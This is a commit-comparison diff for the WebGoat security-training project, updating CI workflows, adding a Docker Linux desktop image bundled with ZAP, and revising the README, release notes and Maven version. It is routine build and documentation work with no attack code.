Compare commits
32 Commits
Author | SHA1 | Date | |
---|---|---|---|
3fd66ee9d9 | |||
0f38519ecf | |||
4c95c9ec6a | |||
f6c7a54931 | |||
f1012c85d6 | |||
ecfc321f14 | |||
73b8c431fc | |||
b68adfbc7c | |||
1a2855afcd | |||
693771220c | |||
075b1ab30a | |||
390ff39f19 | |||
3ec34b0df5 | |||
eb4c8388f8 | |||
ae081ce319 | |||
bd398e4c09 | |||
c9d1653d4f | |||
77c91b8df8 | |||
f9b810c5ee | |||
dc0fc09679 | |||
a0173fd8f8 | |||
58e7e9d4ef | |||
c7a41d1b17 | |||
edd9aa36c2 | |||
27fe1850de | |||
5c2bbd1227 | |||
683b629663 | |||
04908a81e7 | |||
701de68ef2 | |||
81ed738493 | |||
c03d153978 | |||
6ab04db2ee |
@ -1,3 +1,4 @@
|
|||||||
**
|
**
|
||||||
|
|
||||||
!/target
|
!/target
|
||||||
|
!/config/desktop
|
||||||
|
58
.github/workflows/build.yml
vendored
58
.github/workflows/build.yml
vendored
@ -1,21 +1,10 @@
|
|||||||
name: "Build"
|
name: "Pull requests build"
|
||||||
on:
|
on:
|
||||||
pull_request:
|
pull_request:
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- '.txt'
|
- '.txt'
|
||||||
- 'LICENSE'
|
- 'LICENSE'
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- main
|
|
||||||
- develop
|
|
||||||
- release/*
|
|
||||||
tags-ignore:
|
|
||||||
- '*'
|
|
||||||
paths-ignore:
|
|
||||||
- '.txt'
|
|
||||||
- 'LICENSE'
|
|
||||||
- 'docs/**'
|
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
pr-build:
|
pr-build:
|
||||||
@ -28,7 +17,7 @@ jobs:
|
|||||||
runs-on: ${{ matrix.os }}
|
runs-on: ${{ matrix.os }}
|
||||||
strategy:
|
strategy:
|
||||||
matrix:
|
matrix:
|
||||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
os: [ ubuntu-latest, windows-latest, macos-latest ]
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
- name: Set up JDK 17
|
- name: Set up JDK 17
|
||||||
@ -38,31 +27,34 @@ jobs:
|
|||||||
java-version: 17
|
java-version: 17
|
||||||
architecture: x64
|
architecture: x64
|
||||||
- name: Cache Maven packages
|
- name: Cache Maven packages
|
||||||
uses: actions/cache@v3.2.2
|
uses: actions/cache@v3.2.5
|
||||||
with:
|
with:
|
||||||
path: ~/.m2
|
path: ~/.m2
|
||||||
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||||
restore-keys: ${{ runner.os }}-m2-
|
restore-keys: ${{ runner.os }}-m2-
|
||||||
- name: Build with Maven
|
- name: Build with Maven
|
||||||
run: mvn --no-transfer-progress verify
|
run: mvn --no-transfer-progress verify
|
||||||
|
- name: "Set up QEMU"
|
||||||
build:
|
if: runner.os == 'Linux'
|
||||||
if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
|
uses: docker/setup-qemu-action@v2.1.0
|
||||||
runs-on: ubuntu-latest
|
- name: "Set up Docker Buildx"
|
||||||
name: "Branch build"
|
if: runner.os == 'Linux'
|
||||||
steps:
|
uses: docker/setup-buildx-action@v2
|
||||||
- uses: actions/checkout@v3
|
- name: "Verify Docker WebGoat build"
|
||||||
- name: set up JDK 17
|
if: runner.os == 'Linux'
|
||||||
uses: actions/setup-java@v3
|
uses: docker/build-push-action@v4.0.0
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
context: ./
|
||||||
java-version: 17
|
file: ./Dockerfile
|
||||||
architecture: x64
|
push: false
|
||||||
- name: Cache Maven packages
|
build-args: |
|
||||||
uses: actions/cache@v3.2.2
|
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||||
|
- name: "Verify Docker WebGoat desktop build"
|
||||||
|
uses: docker/build-push-action@v4.0.0
|
||||||
|
if: runner.os == 'Linux'
|
||||||
with:
|
with:
|
||||||
path: ~/.m2
|
context: ./
|
||||||
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
|
file: ./Dockerfile_desktop
|
||||||
restore-keys: ubuntu-latest-m2-
|
push: false
|
||||||
- name: Test with Maven
|
build-args: |
|
||||||
run: mvn --no-transfer-progress verify
|
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||||
|
67
.github/workflows/release.yml
vendored
67
.github/workflows/release.yml
vendored
@ -13,19 +13,15 @@ jobs:
|
|||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
|
|
||||||
- name: "Get tag name"
|
|
||||||
id: tag
|
|
||||||
uses: dawidd6/action-get-tag@v1
|
|
||||||
|
|
||||||
- name: Set up JDK 17
|
- name: Set up JDK 17
|
||||||
uses: actions/setup-java@v3
|
uses: actions/setup-java@v3
|
||||||
with:
|
with:
|
||||||
distribution: 'zulu'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
architecture: x64
|
architecture: x64
|
||||||
|
|
||||||
- name: Cache Maven packages
|
- name: Cache Maven packages
|
||||||
uses: actions/cache@v3.2.2
|
uses: actions/cache@v3.2.5
|
||||||
with:
|
with:
|
||||||
path: ~/.m2
|
path: ~/.m2
|
||||||
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||||
@ -33,8 +29,8 @@ jobs:
|
|||||||
|
|
||||||
- name: "Set labels for ${{ github.ref }}"
|
- name: "Set labels for ${{ github.ref }}"
|
||||||
run: |
|
run: |
|
||||||
echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
|
echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
|
||||||
WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
|
WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
|
||||||
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
|
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
|
||||||
- name: Build with Maven
|
- name: Build with Maven
|
||||||
run: |
|
run: |
|
||||||
@ -46,7 +42,7 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
draft: false
|
draft: false
|
||||||
files: |
|
files: |
|
||||||
webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
|
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
|
||||||
body: |
|
body: |
|
||||||
## Version ${{ steps.tag.outputs.tag }}
|
## Version ${{ steps.tag.outputs.tag }}
|
||||||
|
|
||||||
@ -58,6 +54,8 @@ jobs:
|
|||||||
|
|
||||||
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
|
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
|
||||||
|
|
||||||
|
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}
|
||||||
|
|
||||||
|
|
||||||
## Contributors
|
## Contributors
|
||||||
|
|
||||||
@ -87,8 +85,8 @@ jobs:
|
|||||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: "Build and push"
|
- name: "Build and push WebGoat"
|
||||||
uses: docker/build-push-action@v3.2.0
|
uses: docker/build-push-action@v4.0.0
|
||||||
with:
|
with:
|
||||||
context: ./
|
context: ./
|
||||||
file: ./Dockerfile
|
file: ./Dockerfile
|
||||||
@ -100,22 +98,27 @@ jobs:
|
|||||||
build-args: |
|
build-args: |
|
||||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||||
|
|
||||||
- name: "Image digest"
|
- name: "Build and push WebGoat desktop"
|
||||||
run: echo ${{ steps.docker_build.outputs.digest }}
|
uses: docker/build-push-action@v4.0.0
|
||||||
|
with:
|
||||||
|
context: ./
|
||||||
|
file: ./Dockerfile_desktop
|
||||||
|
push: true
|
||||||
|
platforms: linux/amd64, linux/arm64, linux/arm/v7
|
||||||
|
tags: |
|
||||||
|
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
|
||||||
|
webgoat/webgoat-desktop:latest
|
||||||
|
build-args: |
|
||||||
|
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||||
new_version:
|
new_version:
|
||||||
permissions:
|
|
||||||
contents: write # for Git to git push
|
|
||||||
if: github.repository == 'WebGoat/WebGoat'
|
if: github.repository == 'WebGoat/WebGoat'
|
||||||
name: Update development version
|
name: Update to next SNAPSHOT version
|
||||||
needs: [ release ]
|
needs: [ release ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
environment:
|
|
||||||
name: release
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
with:
|
with:
|
||||||
ref: develop
|
fetch-depth: 0
|
||||||
token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
|
|
||||||
|
|
||||||
- name: Set up JDK 17
|
- name: Set up JDK 17
|
||||||
uses: actions/setup-java@v3
|
uses: actions/setup-java@v3
|
||||||
@ -125,12 +128,20 @@ jobs:
|
|||||||
|
|
||||||
- name: Set version to next snapshot
|
- name: Set version to next snapshot
|
||||||
run: |
|
run: |
|
||||||
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
|
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
|
||||||
|
|
||||||
|
- name: Push the changes to new branch
|
||||||
|
uses: devops-infra/action-commit-push@v0.9.2
|
||||||
|
with:
|
||||||
|
github_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||||
|
add_timestamp: true
|
||||||
|
commit_message: "Updating to the new development version"
|
||||||
|
force: false
|
||||||
|
|
||||||
|
- name: Create PR
|
||||||
|
uses: devops-infra/action-pull-request@v0.5.5
|
||||||
|
with:
|
||||||
|
github_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||||
|
title: ${{ github.event.commits[0].message }}
|
||||||
|
target_branch: main
|
||||||
|
|
||||||
- name: Commit pom.xml
|
|
||||||
run: |
|
|
||||||
git config user.name webgoat-github
|
|
||||||
git config user.email owasp.webgoat@gmail.com
|
|
||||||
find . -name 'pom.xml' | xargs git add
|
|
||||||
git commit -m "Updating to the new development version"
|
|
||||||
git push
|
|
||||||
|
9
.github/workflows/test.yml
vendored
9
.github/workflows/test.yml
vendored
@ -2,14 +2,11 @@ name: "UI-Test"
|
|||||||
on:
|
on:
|
||||||
pull_request:
|
pull_request:
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- '.txt'
|
|
||||||
- '*.MD'
|
|
||||||
- '*.md'
|
|
||||||
- 'LICENSE'
|
- 'LICENSE'
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
push:
|
push:
|
||||||
# tags-ignore:
|
tags-ignore:
|
||||||
# - '*'
|
- 'v*'
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- '.txt'
|
- '.txt'
|
||||||
- '*.MD'
|
- '*.MD'
|
||||||
@ -40,7 +37,7 @@ jobs:
|
|||||||
architecture: x64
|
architecture: x64
|
||||||
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
|
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
|
||||||
- name: Cache Maven packages
|
- name: Cache Maven packages
|
||||||
uses: actions/cache@v3.2.2
|
uses: actions/cache@v3.2.5
|
||||||
with:
|
with:
|
||||||
path: ~/.m2
|
path: ~/.m2
|
||||||
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
|
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
|
||||||
|
@ -86,7 +86,7 @@ For example: `Fix #545` or `Closes #10`
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ git fetch upstream
|
$ git fetch upstream
|
||||||
$ git merge upstream/develop
|
$ git merge upstream/main
|
||||||
```
|
```
|
||||||
|
|
||||||
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
|
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
|
||||||
|
@ -2,31 +2,20 @@
|
|||||||
|
|
||||||
### Version numbers
|
### Version numbers
|
||||||
|
|
||||||
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
|
For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
|
||||||
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
|
and 2023.01 in the `pom.xml`.
|
||||||
`v8.0.0` in the `pom.xml`
|
|
||||||
|
|
||||||
### Release notes:
|
### Release notes:
|
||||||
|
|
||||||
Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
|
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
|
||||||
committers.
|
committers.
|
||||||
|
|
||||||
At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
|
|
||||||
|
|
||||||
```
|
```
|
||||||
git checkout develop
|
mvn versions:set
|
||||||
git flow release start <version>
|
<< update release notes >>
|
||||||
git flow release publish
|
mvn verify
|
||||||
|
git commit ....
|
||||||
<<Make changes if necessary>>
|
git tag v2023.01
|
||||||
<<Update RELEASE_NOTES.md>>
|
|
||||||
|
|
||||||
git flow release finish <version>
|
|
||||||
git push origin develop
|
|
||||||
git push origin main
|
|
||||||
git push --tags
|
git push --tags
|
||||||
```
|
```
|
||||||
|
|
||||||
Now Travis takes over and will create the release in Github and on Docker Hub.
|
|
||||||
|
|
||||||
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
|
|
||||||
|
@ -1,8 +1,11 @@
|
|||||||
FROM docker.io/eclipse-temurin:17-jre-focal
|
FROM docker.io/eclipse-temurin:17-jre-focal
|
||||||
|
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
|
||||||
|
MAINTAINER "WebGoat team"
|
||||||
|
|
||||||
RUN useradd -ms /bin/bash webgoat
|
RUN \
|
||||||
RUN chgrp -R 0 /home/webgoat
|
useradd -ms /bin/bash webgoat && \
|
||||||
RUN chmod -R g=u /home/webgoat
|
chgrp -R 0 /home/webgoat && \
|
||||||
|
chmod -R g=u /home/webgoat
|
||||||
|
|
||||||
USER webgoat
|
USER webgoat
|
||||||
|
|
||||||
|
29
Dockerfile_desktop
Normal file
29
Dockerfile_desktop
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
|
||||||
|
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
|
||||||
|
MAINTAINER "WebGoat team"
|
||||||
|
|
||||||
|
WORKDIR /config
|
||||||
|
|
||||||
|
COPY target/webgoat-*.jar /config/webgoat.jar
|
||||||
|
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
|
||||||
|
COPY config/desktop/start_zap.sh /config/start_zap.sh
|
||||||
|
COPY config/desktop/WebGoat.txt /config/Desktop/
|
||||||
|
|
||||||
|
RUN \
|
||||||
|
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
|
||||||
|
tar zfxv ZAP_2.12.0_Linux.tar.gz && \
|
||||||
|
rm -rf ZAP_2.12.0_Linux.tar.gz && \
|
||||||
|
curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
|
||||||
|
tar zfxv OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
|
||||||
|
rm -rf OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
|
||||||
|
chmod +x /config/start_webgoat.sh && \
|
||||||
|
chmod +x /config/start_zap.sh && \
|
||||||
|
apt-get update && \
|
||||||
|
apt-get --yes install vim nano && \
|
||||||
|
echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
|
||||||
|
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
|
||||||
|
|
||||||
|
|
||||||
|
ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
|
||||||
|
|
||||||
|
WORKDIR /config/Desktop
|
30
README.md
30
README.md
@ -27,24 +27,26 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
|
|||||||
Claiming that you were doing security research will not work as that is the
|
Claiming that you were doing security research will not work as that is the
|
||||||
first thing that all hackers claim.*
|
first thing that all hackers claim.*
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
# Installation instructions:
|
# Installation instructions:
|
||||||
|
|
||||||
For more details check [the Contribution guide](/CONTRIBUTING.md)
|
For more details check [the Contribution guide](/CONTRIBUTING.md)
|
||||||
|
|
||||||
## 1. Run using Docker
|
## 1. Run using Docker
|
||||||
|
|
||||||
|
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
|
||||||
|
|
||||||
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
|
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
|
||||||
|
|
||||||
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
|
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
|
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
|
||||||
```
|
```
|
||||||
|
|
||||||
If you want to reuse the container, give it a name:
|
If you want to reuse the container, give it a name:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
|
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
|
||||||
```
|
```
|
||||||
|
|
||||||
As long as you don't remove the container you can use:
|
As long as you don't remove the container you can use:
|
||||||
@ -55,19 +57,25 @@ docker start webgoat
|
|||||||
|
|
||||||
This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
|
This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
|
||||||
|
|
||||||
**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
|
## 2. Run using Docker with complete Linux Desktop
|
||||||
|
|
||||||
## 2. Standalone
|
Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
|
||||||
|
|
||||||
|
```shell
|
||||||
|
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Standalone
|
||||||
|
|
||||||
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.1.jar
|
java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
|
||||||
```
|
```
|
||||||
|
|
||||||
Click the link in the log to start WebGoat.
|
Click the link in the log to start WebGoat.
|
||||||
|
|
||||||
## 3. Run from the sources
|
## 4. Run from the sources
|
||||||
|
|
||||||
### Prerequisites:
|
### Prerequisites:
|
||||||
|
|
||||||
@ -96,7 +104,7 @@ git checkout <<branch_name>>
|
|||||||
docker build -f Dockerfile . -t webgoat/webgoat
|
docker build -f Dockerfile . -t webgoat/webgoat
|
||||||
```
|
```
|
||||||
|
|
||||||
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
|
Now we are ready to run the project. WebGoat is using Spring Boot.
|
||||||
|
|
||||||
```Shell
|
```Shell
|
||||||
# On Linux/Mac:
|
# On Linux/Mac:
|
||||||
@ -125,12 +133,12 @@ For instance running as a jar on a Linux/macOS it will look like this:
|
|||||||
```Shell
|
```Shell
|
||||||
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
|
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
|
||||||
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
|
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
|
||||||
java -jar target/webgoat-2023.1-SNAPSHOT.jar
|
java -jar target/webgoat-2023.3-SNAPSHOT.jar
|
||||||
```
|
```
|
||||||
|
|
||||||
Or in a docker run it would (once this version is pushed into docker hub) look like this:
|
Or in a docker run it would (once this version is pushed into docker hub) look like this:
|
||||||
|
|
||||||
```Shell
|
```Shell
|
||||||
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
|
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -1,8 +1,21 @@
|
|||||||
# WebGoat release notes
|
# WebGoat release notes
|
||||||
|
|
||||||
## Version 2023.1
|
## Version 2023.4
|
||||||
|
|
||||||
With great pleasure, we present you with a new release of WebGoat **2023.0**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
|
### New functionality
|
||||||
|
|
||||||
|
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
|
||||||
|
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
|
||||||
|
|
||||||
|
### Bug fixes
|
||||||
|
|
||||||
|
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
|
||||||
|
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
|
||||||
|
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
|
||||||
|
|
||||||
|
## Version 2023.3
|
||||||
|
|
||||||
|
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
|
||||||
|
|
||||||
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
|
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
|
||||||
many more releases this year.
|
many more releases this year.
|
||||||
@ -34,7 +47,6 @@ many more releases this year.
|
|||||||
|
|
||||||
### Bug fixes
|
### Bug fixes
|
||||||
|
|
||||||
|
|
||||||
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
|
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
|
||||||
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
|
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
|
||||||
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
|
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
|
||||||
|
10
config/desktop/WebGoat.txt
Normal file
10
config/desktop/WebGoat.txt
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
** Welcome to WebGoat desktop image
|
||||||
|
|
||||||
|
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
|
||||||
|
You can start WebGoat and ZAP by opening a terminal and type:
|
||||||
|
|
||||||
|
./start-webgoat.sh
|
||||||
|
./start_zap.sh
|
||||||
|
|
||||||
|
Happy hacking,
|
||||||
|
Team WebGoat
|
17
config/desktop/start_webgoat.sh
Normal file
17
config/desktop/start_webgoat.sh
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
/config/jdk-17.0.6+10-jre/bin/java \
|
||||||
|
-Duser.home=/config \
|
||||||
|
-Dfile.encoding=UTF-8 \
|
||||||
|
-DTZ=Europe/Amsterdam \
|
||||||
|
--add-opens java.base/java.lang=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.text=ALL-UNNAMED \
|
||||||
|
--add-opens java.desktop/java.beans=ALL-UNNAMED \
|
||||||
|
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.io=ALL-UNNAMED \
|
||||||
|
--add-opens java.base/java.util=ALL-UNNAMED \
|
||||||
|
-Drunning.in.docker=false \
|
||||||
|
-jar /config/webgoat.jar
|
3
config/desktop/start_zap.sh
Normal file
3
config/desktop/start_zap.sh
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar
|
BIN
docs/images/webgoat.png
Normal file
BIN
docs/images/webgoat.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 319 KiB |
12
pom.xml
12
pom.xml
@ -10,7 +10,7 @@
|
|||||||
</parent>
|
</parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat</artifactId>
|
<artifactId>webgoat</artifactId>
|
||||||
<version>2023.1</version>
|
<version>2023.4</version>
|
||||||
<packaging>jar</packaging>
|
<packaging>jar</packaging>
|
||||||
|
|
||||||
<name>WebGoat</name>
|
<name>WebGoat</name>
|
||||||
@ -536,6 +536,11 @@
|
|||||||
<flexmark></flexmark>
|
<flexmark></flexmark>
|
||||||
</markdown>
|
</markdown>
|
||||||
<java>
|
<java>
|
||||||
|
<includes>
|
||||||
|
<include>src/main/java/**/*.java</include>
|
||||||
|
<include>src/test/java/**/*.java</include>
|
||||||
|
<include>src/it/java/**/*.java</include>
|
||||||
|
</includes>
|
||||||
<removeUnusedImports></removeUnusedImports>
|
<removeUnusedImports></removeUnusedImports>
|
||||||
<googleJavaFormat>
|
<googleJavaFormat>
|
||||||
<style>GOOGLE</style>
|
<style>GOOGLE</style>
|
||||||
@ -650,8 +655,9 @@
|
|||||||
<argument>java</argument>
|
<argument>java</argument>
|
||||||
<argument>-jar</argument>
|
<argument>-jar</argument>
|
||||||
<argument>-Dlogging.pattern.console=</argument>
|
<argument>-Dlogging.pattern.console=</argument>
|
||||||
|
<argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
|
||||||
|
<argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
|
||||||
<argument>-Dspring.main.banner-mode=off</argument>
|
<argument>-Dspring.main.banner-mode=off</argument>
|
||||||
<argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
|
|
||||||
<argument>-Dwebgoat.port=${webgoat.port}</argument>
|
<argument>-Dwebgoat.port=${webgoat.port}</argument>
|
||||||
<argument>-Dwebwolf.port=${webwolf.port}</argument>
|
<argument>-Dwebwolf.port=${webwolf.port}</argument>
|
||||||
<argument>--add-opens</argument>
|
<argument>--add-opens</argument>
|
||||||
@ -675,7 +681,7 @@
|
|||||||
